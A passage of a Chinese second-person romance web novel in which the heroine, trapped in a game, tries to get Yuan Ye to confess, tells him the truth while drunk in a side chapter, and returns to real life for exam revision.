原野拿出手机，对着半张纸条和本子各拍了张照，然后瞥你一眼：“是我想错了，你不是属狗。”
“你该属猪。”
“我没要都吃，”你立马辩解，“我在选我最想吃的。”
“吃个东西还废那么大劲儿，挨个吃一遍不就行了。”原野合上本子，敲了下你的头，“能不能用它干点正经事？”
你捂着脑袋瞪他：“什么正经事？”
“当然……”原野咧嘴一笑，“是给我整理笔记。”
***
你本以为原野说挨个吃过一遍不过是玩笑。
不想，第二天早上，你就被他在女寝区的出口堵住了。
他打了车，带你去五公里外七拐八弯的巷子里的一家店吃鲜虾云吞面。
他吃到一半，看了眼手机，出去了。
你吃完鲜虾云吞和面，正捧着碗吸溜鲜虾汤底时，他拎着一盒汤包回来。
“你怎么不早说还有别的？我没留肚子啊，”你盯着打包盒里薄皮大馅儿的蟹黄汤包咽口水埋怨，“早知道，早知道，我就不喝汤了。”
原野：“那你就尝一个，剩下的我吃。”
你瞅了瞅云吞面碗里还剩小半碗的汤，朝蟹黄汤包伸去筷子：“我的汤还没喝完，好像还有点儿肚子。”
实践证明，你不是有点儿，你是还有不少。
你和原野对半分了那一笼蟹黄汤包外卖。
之后，原野照一日三顿，一次几样带你顺着你的“美食心愿清单”吃下去。
一开始，你还担心他点的太多，不想，他看着精瘦，肚子却像无底洞。无论你有多少吃不完的，他总能通通扔进肚子里去。
有了原野这个专业的美食探子外加打扫剩饭的托底，你的美食心愿清单实现之路，异常轻松、快速且愉快。
你的“美食心愿清单”一行行被打了勾，你的“被告白大业”却似乎一直踟蹰不前。
你企图诱导原野表白的套路屡屡跑偏……
一大早，你和原野正要进图书馆。
你偶然回头，见身后天上的太阳正好，便拉停了一旁的原野。
“你看，今早的太阳是多么鲜活、多么朝气、多么蓬勃，在这朗朗的日光下，多么适合直抒胸臆……”
原野抬手看了眼表：“图书馆已经开门了，再不进去，等会儿就抢不到你喜欢的位置了。”
你：“……”
你坚持站在原地：“你就没什么想和我说的吗？”
原野按住你的肩膀，把你原地转了半圈，对准图书馆的大门推过去：
“一日之计在于晨，赶紧进去学习吧。”
*
“原野，你看！”
你指着图书馆门口柳树梢头的弯月：“今晚的月色是不是很美？”
你心中默念着，快回答“今晚的月色很美”“今晚的月色很美”“今晚的月色很美”……
原野白你一眼：“你的把戏我都看穿了。”
你惊讶瞪大眼，难道他也听过日本作家夏目漱石把“ILOVEYOU”翻译成“今晚的月色很美”这个故事。
原野：“你是不是想趁着月上柳梢头，和我人约黄昏后？”
你：“……好像也不是不行。”
原野：“别想了，我家教很严的，我妈千叮咛万嘱咐不让我带小姑娘钻小树林。”
你：？？？？
你头顶齐齐飞过一排乌鸦。
*
之后，你干脆放弃了精选天时地利，反正人怎么都不和。
在图书馆学着学着，抬头就问原野一句：“你现在有没有什么想和我说的？”
几次下来，你一张口说“你现在……”，原野立马和你异口同声说下去：“有没有什么想和我说的？”
还不忘学着你的语调。
你刚开始还羞愤，后来干脆麻了，一脚上去把他踩得嗷嗷跳脚叫。
至于你为什么不干脆让原野和你表白？
实在是原野夜店那晚在你耳边吐槽你“满世界找人表白”=“满世界标记地盘”=狗，给你带来了不可磨灭的阴影。
你本该觉得受挫，可原野一天三顿带你满城找好吃的，你实在挫不起来。
每天只偶尔在肚子吃得圆滚滚、眼神放空之际，想起你“这么近”又“那么远”的游戏任务。
然后安慰自己，说不定明天就成功了。
你每天的状态若要总结为一句话，那就是——
每天清早开开心心去见原野，夜深人静放下手机闭眼emo“又是没完成任务的一天”。
***
这天，你和原野从外面吃完午饭，回图书馆的路上途径一片郁郁葱葱的小树林。
你们并排走着走着，原野突然招呼不打一声，蹿进了小树林。
你愣了下，想到什么，赶紧别过脸去。
原野这个没节操的……
你正考虑要不要捂上耳朵，免得听到什么不该听的水声，就听原野叫你。
他是怎么好意思在这个时候叫你的？
没带纸，你也不能给他送啊！！！！！！！！
原野还在招魂一样，持续喊你的名字。
你无奈双手捂紧眼，朝招魂的方向转了过去：“找、我、干、嘛？”
原野：“你捂脸干嘛？赶紧过来啊。”
你：……还过去？
原野：“你不过来，我过去拉你了？”
他可别来拉你，他还没洗手，你捂着眼，低着头，朝声音方向走去。
不防，突然被原野抓上了手腕。
“啊啊啊啊——”你立马尖叫着跳脚挣开他的手。
你挣、你挣、你挣——
你死活没挣开，还被他一句大声的“抬头！”，唬得下意识抬头睁开了眼。
逐渐清晰的视线里，一个粉红的长臂猴玩偶抱着小臂粗的树杈、双腿交叠翘脚坐在树上看你。
好可爱~是谁这么有童心把这么可爱的粉红长臂猴挂在这里，还以如此妖娆的姿势，你仰望的眼睛闪起小星星。
“有这么好看？还能比我好看？”有些不满的声音传来。
你循声看去，一旁的原野正模仿头顶粉红长臂猴的姿势，靠着树干抱臂看你。
你实在没忍住，噗嗤笑出了声。
“怎么样，”原野冲你挑挑眉，“是不是比它好看多了？”
你偏头不去看他，才止住了笑，嘴硬道：“没有，它比你妖娆多了。”
“怎么可能？”原野的声音里带着满满的不可置信。
“你再看看这样呢？”
你再去看他，就见他一手扶在脑后，肘尖抵在树干，另一手扶在胯间，男模走秀般把自己妖娆站成了s型。
脸上自信的笑容更是差点晃瞎你的眼。
一个人是怎么可以这么幼稚却这么自信？
你突然有些羡慕他。
不，是很羡慕他：“嗯，你比粉红长臂猴好看，我很羡慕。”
原野对这个结果非常满意，听你说羡慕，非要拉你在树下一起摆pose。
过程中，你深刻体会到了四个字：东施效颦。
原野却一直夸你，还在你俩一起摆同款pose时拍了张照片。
你并不想看照片，他却偏说照片拍得好看，怼到你眼皮子底下要你一起欣赏。
照片里，同款动作，
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你是后脑勺疼，胯骨轴疼；原野是四肢甚至指尖都是满满的表现力，眼尾那一挑，更是只恨不得拉出根丝来，把照片外的人勾进照片里。
你实在不忍直视这张该命名为「祸国男妃和他不知名的洒扫丫鬟」的照片。
他还非要拿这张照片发朋友圈。
你并不怀疑他眼瞎，因为照片里的他简直是荷尔蒙在发光；你只是怀疑他在整你。
他编辑朋友圈时，你伸手去阻拦，他便两手举高，仰着脸继续打字。你举着手蹦高，蹦高，眼看要碰到，原野又踮起了脚尖。
真是气死你了！！！
你也不够了，两手一掐腰：“原野，你非要发咱俩的合照，是不是喜欢我？”
原野举高打字的手指停在半空。
其实，你喊完就后悔了，藏在鞋头的脚趾努力抓地忍住拔腿就逃的冲动。
过了好一会儿，原野才垂下眼皮看你：“为了阻止我发朋友圈，也不用这样吓唬我吧？”
“行了。不发了。”原野把手机揣回兜里，“出去吧。”
***
回图书馆的路上，你蔫蔫的。
原野也没主动找话来和你说。
下午在图书馆学习，你也一直是怏怏的状态。
让原野和你告白的任务，明的暗的，你都试过了。
好像没有任何用处。
你甚至连狗血地找个帅哥，搂着他胳膊来刺激原野都想到了。
之前，你向室友们要来了班上的合照，拿着手机把班里的男同学一个个放大看过去。
结论是，没一个能让原野有半分危机意识的。
游戏里你见到的其他男生，就数秦今阳最帅，总一副酷酷拽拽不爱搭理人的模样，可人家名草待有主。
“主儿”还是天天“宝宝”“宝宝”叫你的中国好室友。
你感觉以前看的那些偶像剧、小说都白看了，真到了游戏里，你什么都实践不了。
你正幻想着拿五百万支票砸到原野脸上：“和我告白，这五百万就归你。”就听原野突然问你：“喂，最小二乘法的公式是什么来着？”
你白他一眼：“忘了。”
“算了，”原野不甚在意又低头看起他的《计量经济学》，嘴上嘀咕，“我都不记得了，你当然也不记得。”
什么叫他都不记得了，你当然也不记得？！
“我说我忘了，又没说我不知道！”你立马回呛。
原野一脸“你要不要听听自己在说什么”怪异看你：“忘了，还怎么知道？”
“哼。”你下巴一扬，“我都不记公式，考试时现用现导。”
你是胡诌的，当初考试时，你各种公式记得滚瓜烂熟。当然，考完，你很快又还给了高数老师。
原野大手把书一扣，支着下巴瞧你：“得，那就请夏大小姐现在导给我看看。”
你：“你让我导，我就导，凭什么？”
原野：“你不会是不会导吧？”
你：“我当然会！我真导出来，你要怎样？”
原野：“你想把我怎么样，就怎样咯。”
这话赶话，赶的……
你转过身，自信的表情立马垮下来，你为什么非要争这口气？当初上课，老师就在黑板上演示了一遍，你听是听懂了，但私下从没自己推过。
唉……
你撕下一张纸，伏在桌前，从原理出发推导起来。
一行行数字和符号在笔下磕绊流出，时而又被划掉几行，折去另一个方向。
后脑勺被你烦躁抓乱，秀气的笔迹更是早就不复存在，三不五时叹完气，再给自己打气。
你沉浸在数学符号的世界里，没留意一颦一蹙、嗔痴嗟叹都成了别人眼中的风景。
“啪！”你忽然拍下笔，扯着原野的胳膊，望着原野的双眼燃着灿若星辰的烟火，“快看快看，我导出来了！”
原野怔怔看着你。
见他不说话，你以为他怀疑你的结果，抓了他放在桌上的手机塞进他手里，催他立马上网找答案。
你拭目以待的脖子都抻过他肘尖。
你第一时间看到了结果，推得分毫不差。
“怎么样，我厉害吧？”你推搡着不吱声的原野，下巴骄傲地扬起，看他的眼角差点飞到天上去。
原野收起手机，憋着笑夸你：“厉害厉害。”
“就这样？”你有些不满他的轻飘飘。
原野：“那一会出去给你在图书馆前拉个红色横幅，庆祝一下？”
“你之前说我要是导出来了，想怎么样就怎么样。”
“那你说说，你想把我怎么样？”
“你现在和我表白！”
原野露出一副就知道你要这样的表情。
你看到这熟悉的表情，立马就知道没戏，别过脸去：“说话不算数！”
耳畔却忽的传来一句轻轻的“我喜欢你。”
你震惊转过头，却见他一脸逮到你的笑脸：“我骗你的，你流口水那件事。”
你腾一下站起身，就知道他是骗你的！这个害你最近没事就去摸摸嘴角的罪魁祸首，你挥舞着手臂就冲他的头去了。
首击不中，反被他大手握上你的手腕。
你咬牙切齿骂他“骗子骗子死骗子”，手臂持续张牙舞爪，朝他的脑袋拼命进攻，几次都堪堪擦过他发丝。
忽然，你成功一巴掌拍在他头上。
你眉眼顿时笑成了花：“怎么样，还是被我打到了吧？”你得意洋洋低头去炫耀。
却震惊看到原野向来生动潋滟的桃花眼一眨不眨，整个人不知何时已被定格。
彩色的礼花雨从天而降，在你周身热闹地洋洋洒洒。
他被定格的瞳仁里，你扬起的嘴角一点点压平。
你懵懵按下他格挡在下半张脸前的小臂。
他的唇角还大大扬着，雪白的牙齿异常刺目……
你想起几天前的树荫下，你想着如果游戏要结束，就让它停在这最美的时刻吧。
可现在，你后悔了。
你们该大吵一架，谁也不再理谁，游戏该定格在你们背道而驰的滂沱大雨里。
你伸手，想去闭上他的眼，让他别再那么好看地望着你。
在即将碰上原野长睫的刹那，你的指尖虚化成扬尘的数据碎片。
熟悉的眩晕感袭来。
你被迫闭上眼的那一秒，原野还定格在那里，笑着望向你。
35. 图书馆告白挑战番外篇
“如果你把一口面包嚼得久一点，面包会有甜味。”
——于尔克·舒比格《当世界年纪还小的时候》
StayUp门前。
“佑佑，佑佑。”
“佑佑，下来了。”
“佑佑，把你的手松一松，我们该回寝室了。”
你搂着原野的脖子，后仰着打提溜儿，躲开她们来拉你的手：“不要不要，我要坐南瓜马车。”
张雨婷默默放下来拽你的手。
李知乐干脆把眼睛埋进了脚下的砖缝里。
白念芮打量一圈，指着等在一旁的出租车，让你看：“南瓜马车就在那里，你快从人家背上下来，不然马车就要开走了哦~”
你白她一眼，回头指向不远处的路边，让她看。
路边，原慕正靠在车旁等原野，亮橙色的迈凯伦在深浓的夜色里异常醒目。
“那才是南瓜马车。别想骗我。”
白念芮：“……喝醉了，倒是比醒着识货多了。”
你搂着原野的脖子，向后左右张望：“谁、谁喝醉了？”
众人：“……”
原野反手把你在他背上扭来扭去的脑袋按回去，然后和室友三人说：“我送她回去吧。”
“到了你们寝室楼下，我再给你们打电话，你们下来接一下。”
室友三人表情复杂地交换了一番眼神，答应下来，张雨婷把电话留给了原野。
原野背着你，向停着的迈凯伦走去。
原慕见你们一行人纷纷上了出租车，而原野还背着你，提醒道：“小野，我这可是两座的跑车。”
原野进StayUp前，并没把车钥匙还给原慕，这会儿直接从兜里掏出来，解了锁。
前后的车灯应声亮起。
原野背着你，头朝左偏了下，示意原慕：“让一下。”
原慕见他还背着你，让开了车门，然后秉承着非礼勿视低头去数地砖。
原野拍了拍你搂在他脖子上的手：“喂，下来了。”
你却还埋在原野颈窝里一个劲儿晃头：“不要不要……”
“公主大人，该上南瓜马车了。”
原慕猛地抬头，惊恐望向你们，一脸仿佛刚才听见了鬼在说话的模样。
你松开环住原野脖子的手，顺着他的背滑下来。
原野按下车门内侧的片状按钮，车两侧的剪刀门缓缓升起。
他扶着你的肩膀，把你摆得正对车门，才松开手：“上去吧。”
却不防，说完，你直接栽了进去。
你穿着小短裙，这样直接栽在副驾上，短裙又蹿上去一大截，两条腿在夜色里白生生晃人眼。
原野立马转过身，把身后的原慕挡得死死的。
眼前倏然一暗的原慕：……我还没看清呢，这小子这警惕的眼神是什么意思？
“你可走了。”原野朝一旁成串等在StayUp门口的出租车看了眼。
原慕满脸问号：“这是我的车，你让我走？”
原野掏出手机，按了几下，然后示意原慕看手机。
原慕疑惑拿出手机一看，原野给他转了3000块，备注「租车钱」。
原野：“你的车我租三小时，你自己叫车回家吧。叫不到车就给你微信里的‘小美’‘小芳’‘小月’打电话，她们肯定争相开车来接你。”
“什么‘小美’‘小芳’‘小月’？你小子可别污蔑我，哦，我知道了，你是不是就是说给她……”原慕伸手要来指你，不想原野把你挡得一片衣角都不露。
原慕感觉自己要被气笑了：“……”
原野见原慕没话，转身把正努力攀爬的你快速塞进车里，三两步绕到另一边，上了主驾。
橙色的迈凯伦轰鸣着划开夜色，原慕望着迈凯伦如火龙摆尾般绝尘而去，这才想起自己根本没答应把车租给堂弟！！！
“艹——”
***
你被安全带勒着，感觉不舒服，伸手去摸索安全带的卡扣。
原野注意到你的动静，右手来按住你到处摸索的手：“不许解。”
“安全带勒得我好闷，”你另一只手把胸前的安全带拽长，“你没有胸，不懂我大胸的烦恼。”
原野侧头瞥了眼你胸前：“确实不懂……”
趁他溜神，你的手从他的压制中成功逃出，你拍拍他的胸：“没有的人确实……”
咦？
软软的，你捏了捏，怎么还kiukiu的？
你从没感受过的手感，嘻嘻嘻，好好玩啊，再捏一把……
原野一把扯开你的手：“夏、佑，你是不是在给我装醉？”
喑哑的嗓音不知羞怒更多，还是恼怒更多。
“谁说我醉了，我才没醉。”你无辜冲他眨眨眼，“我还会被乘法口诀。”
然后，你埋头数着手指，背起了乘法口诀：“一一得一，一二得二，一三得三……”
“算了，我跟个醉鬼叫什么劲……”原野伸手去中控台上按了下，车顶篷伴着机械音缓缓向后敞开。
疾驰的速度带起凉爽的夜风，瞬间涌入车内。
背到“二三得六”的你一脸没见过世面仰起头，对着忽然出现的灰蓝夜空和一眨一眨的星星张大嘴。
你忽然想到什么，偷偷瞄了眼旁边的原野。
他左臂搭在降下的车窗上，右手单手控制着方向盘，没空来抓你。
你的手再次朝安全带的卡扣悄悄进军，安全带被解开的“啪嗒”声湮没在风里。
你蹭一下从座位上站起，上半身伸出车外。
等原野发现看过来，你整个人仿佛劈风而行的欢庆女神，自由的风穿过你海藻般的长发，穿过你化身飞翼的双臂……
原野的眼好半天没能挪开。
好半晌，原野才冷声道：“夏佑，你给我坐下来！”
你双手摆成听筒，放在左耳边，侧弯腰对着车外大喊：“原野，你说什么？风声太大了，我、听、不、见。”
原野：“……”
原野把车速降到了这条路的最低限速。
路过你们的车无一不降下车速，看看是谁这么暴殄天物把迈凯伦开成了小电驴。
原野不堪其扰，只好带上墨镜，多少保存点儿面子。
“原野，”你见他半天不吱声，把听筒放到原野耳边，冲着他大喊，“你为什么不回答我？”
原野：“因为你、赢、了。”
这句你听见了，你直起身，对着旁边和你们并行的黑色奔驰大喊：“我赢了！”
下一秒，黑色奔驰降下车窗，冲你们竖起中指，然后嗖一下超过了你们。
你转头去告状：“原野，他为什么冲我竖中指？他好没有礼貌啊。”
原野：“…………”
车速降下来，风更惬意了。
你展开双臂，拥抱着夜色，迎风开心唱起歌来：“春暖的花开，带走冬天的感伤，微风吹来浪漫的气息，每一首情歌忽然充满意义，我就在此刻突然见到你。”【1】
唱完男声部，你把左手握成话筒，怼到原野嘴前：“该你了。”
原野不开口，你就反复用“话筒”去碰他的嘴催促。
几次下来，原野不情不愿开口唱起了女生部分的歌词：“春暖的花香，带走冬天的凄寒，微风吹来意外的爱情，鸟儿的高歌拉近我们距离，我就在此刻突然——”
你听原野卡词，立马把“话筒”又放回自己嘴边，大声接下去：“爱——上——你——”
你自己一个人又唱起了男女合声：“听我说，手牵手，跟我一起走，创造幸福的生活，昨天已来不及，明天就会可惜，今天嫁给我好吗？”
你忘记了下面那段饶舌的rap，只好反复唱着最后一句：“今天嫁给我好吗？”
“今天嫁给我好吗？”
“今天嫁给我好吗？”
“今天嫁给我好吗？”
“滴滴——”一旁的白色丰田霸道鸣笛，大哥从车窗伸出头来，“哥们，妹子都唱几遍了，你还不答应？你再不答应，我喊‘Yes,Ido.’了？”
原野这辈子从没有一天像今天，经历了这么多次无语。
还一次比一次更无语。
“Yes,Ido.”原野对着你的方向低声回了句，“你可以下来了吧？”
“风太大，没听见。”你冲着车外大喊。
大哥也跟着凑热闹：“我也没听见，兄弟你没吃饭啊？”
“妹子你要不和哥走吧，我手下全是声大气足，嘎嘎能撸铁的弟弟……”
“Yes,Ido！”原野一嗓子险些喊破音。
然后，一把把你薅着坐下来，重重戳了下中控。
你望见敞篷缓缓升起，支棱起脑袋忙要再冲出去。
原野似乎早有防备，大掌一把按住你头顶，把你死死按在原地。
“呜呜呜呜……”你一边假哭，一边双手去扒拉他的手臂，可原野的手臂像是铁钳，把你纹丝不动压在原地。
大哥放浪形骸的大笑声从丰田霸道里传出：“哈哈哈哈哈，小年轻，就是醋劲儿——”
原野一脚油门，橙色的迈凯伦如猛兽出闸轰一声飞起，把大哥的调侃远远甩在了夜色里……
***
大学附近的停车场里，原野停下车，油然生出种终于解脱的感觉。
可还没等他细品这堪比贤者时光的微妙空白，你已经趴在车门上到处找怎么开锁，一副迫不及待要爬出去接着high的模样。
原野倾身而来，从后面一把钳住你在车门上到处摸的手。
你向后一转，不满去找抓住你的人，唇不经意擦过他俯下的脸颊。
原野瞬间僵住了。
钳着你的手仿佛机械铁臂被咔一下切断电源。
察觉手上没了钳制，你开开心心转回身去，继续趴在车门上找开锁的地方。
寂静的车内响起熟悉的机械音，你眼前的剪刀门再次升起。
你眼睛一亮，嗖一下冲出车厢。
可等了半天，却迟迟没见原野出来。
你不耐烦地弯腰把头钻进车厢，却见原野还保持着上半身倾到副驾的动作……
***
当原野第三次把走着走着就蹲在路边和小花小草聊天的你拉起，就决定不能再让你自己走了。
原野嘱咐你在原地等他。
你非常爽快说：“好。”
原野却越想越不放心，弯腰在你刚趴进去的草丛里捡了块小石头，蹲下围着你的双脚画了个圈：“不许踏出这个圈。”
你盯着沥青路面上他重重描了三遍的白圈眨眨眼：“出去了，会怎么样？”
原野：“妖怪会把你抓走。”
你：“你吓唬我，根本没有妖怪。”
原野叹口气：“来接你的南瓜马车会找不到你。”
“哦哦。”你乖乖点头。
原野起身走了。
原慕一向有在车上备着替换衣服和鞋的习惯，原野回到车上找了找，果然找到了。
他拿起一件一看就还没穿过的西装，看了眼内衬的手工缝制标，把西服搭在臂弯里，关上车门锁了车。
原野估了个价，给原慕转了过去。
原慕仿佛正守在微信那头，收了转账，秒回了个：「？」
原野对着西装拍了个照，发过去：「我买了。」
原慕：「不行，那件绝对不行！」
原慕：「那是我在Anderson&Shepherd量身定制的，不说等了几个月的事，光为了fitting我都飞了英国三次！」
见原野不回消息，原慕的电话立马追过来。
“原野，你小子赶紧给我放下！”
“可钱，你已经收了。”
“我退给你，你等着，我马上给你转回去！你赶紧把我的西服给我放回去，我今天刚收到的，连试都没来得及试……”
“那正好。”
“什么正好？”
“忙，挂了。”
“那我西服——”
原野挂了电话，顺手把原慕拉进了黑名单。
原野回来，见你一动不动缩着身子站在圈里，唇角压不住上
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扬。
他把西服系在你腰间，手托着西服把你背起来。
你勾着原野的脖子，视线忍不住向下去看腰间的西服：“好丑啊，我能不能不围？”
“不能，这是神仙教母让我交给你的，你不系上它，神仙教母一会儿就没法找到你了，”原野把你之前非要在夜店里和他在电音伴奏下跳华尔兹时说的话改了改说给你听，“你不能穿上她变出的公主裙和水晶鞋，就不能去王宫参加舞会，和王子跳舞了。也没法在午夜十二点，丢下水晶鞋逃跑了。”
你被说服，立马不和腰间系着的西服作斗争了。
原野慢慢走在月光粼粼的校园小径上，你趴在他背上，下巴埋进他肩窝里。
他仿佛一个行走的大摇篮，你的眼皮越来越重。
"Let''spretend,Ihadhundredsofthousandsoffriendsfriends……"【2】低沉磁性的音乐忽的拨开寂静的月色。
你打了哈欠，从原野肩膀上抬起头：“怎么了？”
原野双手从后托着你，抽不出手：“帮我从兜里拿一下手机。”
你：“左面右面？”
原野：“左面。”
你把手伸进原野的右兜里，摸来摸去。
“夏佑！”原野突然大声，“我说左面、左面、左面。”
“我摸的不是左面吗？”你举起自己的左手，一巴掌拍到原野脸上，“看，左手。”
原野：“………………你千万别再喝醉了。”
“我没喝醉啊，左手……”说着，你用左手摸摸原野的脸。
“右手……”你在他衤库兜里抓了抓，“看，我分得多清楚？”
原野再也顾不上托你的腿了，抓着你到处作乱的手，把你拎小鸡一样从他背上拎下来：
“你给我站好！”
你见他好像生气了，莫名不敢再造次了。
你可可怜怜把自己缩成个卖火柴的小女孩，拢起手心，大夏天却像模像样往里面哈气取暖。
原野看你这样，真是满腔的各种无名火无处发|泄。
兜里的手机第二次响起，原野看都没看，接起来当啷一句：“找我干嘛！”
“呦，火气挺大啊？”电话那头的男生是原野的室友，嗓门出了名的大，和开着外放没什么区别，“宴会上遇见漂亮妹子把你给……”
话还没说完，就被原野打断：“我没去。”
电话里传来一声粗噶的惊叫：“我们还商量着让你回来时，顺路去何记猪手给我们带两斤卤猪手呢。”
说完，转头去问其他几个室友的意见：“野哥说他没去怎么办？”
“啊？不会又去图书馆学习了吧？”
“野哥最近着了魔吧？”
“我看像，平时一周也不见他去一次图书馆，最近跟长在图书馆里了似的……”
你听到“图书馆”三个字，立马看向原野：“原野，我得去图书馆。”
“妹子，野哥，我好像听到了妹子的声音！”
原野：“挂了。”
“等——”
原野看了眼手机：“这个时间图书馆都关门了，明天再去吧。”
“不，我现在就要去！”
“关门了，你去干吗？”
“不光我去，你还得和我一起去。”你抱上原野的手臂，就把他往图书馆方向拉。
原野没使劲，被你拖着朝图书馆走了一段，又开始劝你：“Cinderella夏，你忘了你还要去参加舞会吗？我还是先送你去参加舞会吧，明天，等明天图书馆一开门，我就陪你来。”
“不要。”你执拗拽着原野朝图书馆走去，嘴上念咒语一样念叨着，“去图书馆更重要。”
原野彻底放弃了和醉了的你理论，任由你把他拉到了图书馆前。
原野指着一片漆黑的图书馆：“看，都关灯了。进去也看不见你爱看的那些书了。”
你摇摇头：“我们不是来看书的。”
“那是来干什么的？”
你把原野放开，向后退一步，努力站直：“我是来听你表白的。”
原野捂住额头，万万没想到你是为了这个非要把他拽过来。
你催他：“你快和我表白，表完白，我的任务成功了，我就会像灰姑娘一样，唰一下从你眼前消失。”
原野揉着额角的掌跟顿住：“你和人打赌了？”
“因为这个……你才来接近我的？”
你摇摇头：“没有，是游戏，游戏任务。”
原野慢慢放下手：“你和谁玩的游戏？”
你：“和你。”
原野只觉一口气差点儿没上来，一个爆栗朝你头上锤过去。
却是雷声大雨点小，真落到实处变成了轻飘飘一碰。
“我和你个醉鬼聊什么天，满嘴胡话。”他像是对你说，又像是自言自语。
“真的。我和你玩的游戏。”
“嗯嗯。”原野敷衍着，重新背起你。
“你不信？”
“信信。”
“我真名叫夏佑。”
背着你的原野默默朝着夜空翻了个白眼。
“苏玛丽只是我游戏里的名字。”
“知道。”
“你不惊讶吗？”
“惊讶什么？”别说是苏玛丽，听了一晚上“南瓜马车”、“神仙教母”、“Cinderella”，你说你是宙斯转世，原野都不会感到惊讶。
“你还是不信我。”你拿出手机，拆下手机壳，从里面拿出你的学生证，举到原野眼前，“看，上面写着我的游戏名字，苏、玛、丽。”
原野敷衍看了眼，悠闲的脚步瞬间僵住。
「学生姓名：苏玛丽
专业院系：物理系
学号：……」
学生证上，白底的证件照上赫然是一头亚麻闷青色长发的你。
夜风隔了许久才吹来原野有些干涩的声音：“夏佑……和我说说你和我玩的那个游戏吧？我好像……忘记怎么玩了……”
“好呀。”
36. 现实3.1
你再睁开眼，茫茫然望着四周流转的灰蓝光影。
是游戏空间。
阔别已久的系统电子男音随即响起：“亲爱的玩家MarySu，恭喜你成功过关，获得六张?游戏CG。请问，你是否要现在查看？”
你垂着头，望向右手掌心，五根手指真真实实存在着。
你左手食指挨个碰过右手五个指尖，它们没再当着你的面虚化成扬尘的数据碎片。
游戏它……
结束了。
可你的大脑为什么还在不停播放原野望着你离开，笑得很好看的模样……
他好像什么都知道，为了让你毫无挂碍离开，笑得很幸福；
又像什么都不知道，笑得像个单纯的傻子。
你鼻子堵堵的，眼睛有些想哭，理智又说你取得了游戏的胜利。
是的，刚刚系统好像说你成功过关了。
“亲爱的玩家MarySu，请问你是否要现在查看本关获得的六张?游戏CG？”
“不看。”你冷声拒绝。
空间内响起一道空白的电流音，仿佛系统在以这样的方式来表达它的意外。
隔了十几秒，系统才回：“好的。”
系统：“亲爱的玩家MarySu，恭喜你成功过关，请问你现在是否要查询本关获得的游戏积分。”
你还是拒绝：“不。”
系统再一次静默。
你：“我上一关欠的游戏积分还上了吗？”
系统：“经查询，玩家上一关结束后，游戏积分为-62分，本关获得的游戏积分是……”
你抬手打断它：“还上了吗？”
系统：“……还上了。”
你：“那可以送我出去了吧？”
系统：“可以……”
***
你回到现实世界。
寝室里还拉着遮光窗帘，你拿着手机站在自己的书桌前。
书桌上，你的笔记本电脑敞开放着，屏幕上Pages文稿开着，上面是你敲到一半的小论文。
你看了眼手机上的时间，早上5点38分。
你没退出的微信上，还显示着进入游戏前给简骁泽发的微信：
「电脑成功启动，写到一半的论文也在，你简直是个天才！」
「谢谢谢谢谢谢^^」
你的视线在末尾当时随手敲下的笑眼表情上转了两圈，只觉物是人非……
你望了眼身后还在酣睡的室友们，决定加入她们。
你轻手轻脚爬上上铺，放下手机，拉上夏凉被，闭上了眼。
以后，再不用为“又是没完成任务的一天”emo了。
你再次醒来，已经是下午两点。
室友们担心你再睡下去会饿死，强制摇醒了你。
你起床看了眼手机，简骁泽回了你两条微信。
7点15一条，「谢谢夸奖。」
8点30一条，「怎么谢我？」
怎么谢他，你有些意外他这样问。
简骁泽帮你修了电脑，只是口头上的感谢确实不够有诚意，你进入游戏前打算……
你想起来了，你本打算在简骁泽回你以后，提出请他吃顿饭。但以他高冷的性格，你料定他不会答应和你吃饭，他表示拒绝，你顺势退一步问他寝室的地址，给他们寝室点一份披萨外卖。
这样他不用勉强自己和你吃饭，你的谢意也表达到位了；请他们寝室四人吃披萨，又不会显得你别有用心。
你的完备设想就这样被一句“怎么谢我？”打乱了。
你打打删删，在手机键盘上字斟句酌好一会儿，回他：「等你有空，让我请你吃顿饭吧，地方你随意挑。」
简骁泽：「好。」
你盯着微信对话框等了会儿，上方一直没出现对方正在输入，你才确定，你们的对话结束了。
你不懂请男生吃饭正常是怎样的流程，短暂疑惑了会儿，猜他可能过几天有空会主动联系你，要你请他吃饭。
你预想中简骁泽的主动联系却迟迟未到。
出游戏当天，在床上几乎瘫了一天的你本以为游戏带给你的emo会像恼人的梅雨季。
绵绵不绝，无孔不入。
现实却是，你刚写完期末论文交上去，恐怖的期末考试复习周就到了。
每学期的大考前，一大早，图书馆的门前便排起了长龙。门一开，学生们一窝蜂地冲进去，开始了不见硝烟的抢地盘之争。
不过，这一切头一次和你没有任何关系。
你的复习是在学校附近那家小资的咖啡馆度过的。
是的，天鹅拉花拿铁要32块、全天播放着氛围感十足的爵士乐的那家咖啡店。
一开始，室友们问你要不要一起去图书馆，你说不去，她们还很惊讶。毕竟，你一向是学校图书馆的vvip，更别提这种重大考试前了。
你回她们说想去个氛围好点儿的地方复习。她们问你去哪里，你报了那家咖啡店的名字，顺便问她们要不要一起去。
她们立马婉拒了。
你非常能理解她们的婉拒，毕竟学一天，上午一杯咖啡，下午一杯，一天下来不算吃饭都要六十多。
说来也巧，复习的日子里，你在那家咖啡店遇见了好多次简骁泽。
不过，倒再没见过上次朝他泼咖啡、最后殃及你的美女。
你猜，这家咖啡店成了那位美女的伤心地。
简骁泽和你不同，看着倒不像来复习的。
你每次见他，他都坐在窗边的同一个位置。
面前摆着敞开的笔记本电脑，手边是咖啡店多巴胺彩绘的马克杯，从日头高升到日影西斜，骨节分明的长指在键盘上敲敲打打，时而推一下鼻梁上架着的银边双梁飞行镜框。
整个人和这家咖啡店的其他客人完全在两个图层里。
当然，你也在其他客人的范畴里。
你每次复习得抓耳挠腮，抬头望见斜对面从发丝到眉眼、到指尖都专注在自己世界里的简骁泽，总会不由想到青春小说里主席台上迎风而立的白衣少年，润物细无声在台下芸芸少女心中种下一颗人间理想的种子。
你望一望，萎顿的精神就像打了鸡血，再看起书来，思维又变得敏捷起来。
不过打鸡血的效果并不持久，一天下来，你少不得多看上几眼。
一开始，你还担心他发现你的暗中窥视，几次后你就放下心来，他忙起自己的事来，状态可以用“目下无尘”四个字来形容。
字面意思，他什么也看不见。
你们斜对角坐上一天，一般也只在你刚来的时候打个招呼，在你中午出去吃饭的时候再说个“我去吃饭了，一会儿见”，晚上你先离开的时候说声“拜拜，我先走了。”
至于你们为什么能一直坐斜对角？
第一次只是偶然，当你发现他有醒脑提神的作用后，就特意选在那个位置坐了。
说来也巧，之后你每次来，他斜对角的位置都是闲着的。
除了提神醒脑，你又发现他还有监督学习的作用。
一次，你学累了刷会儿手机。
手机嘛，在复习期间就莫名格外好玩。
你对着某位新锐脱口秀演员的cut视频笑得嘴角都咧到耳后根，一抬头，正对上简骁泽直直凝视的视线。
你脸上放肆的笑容嘎gá——然而止。
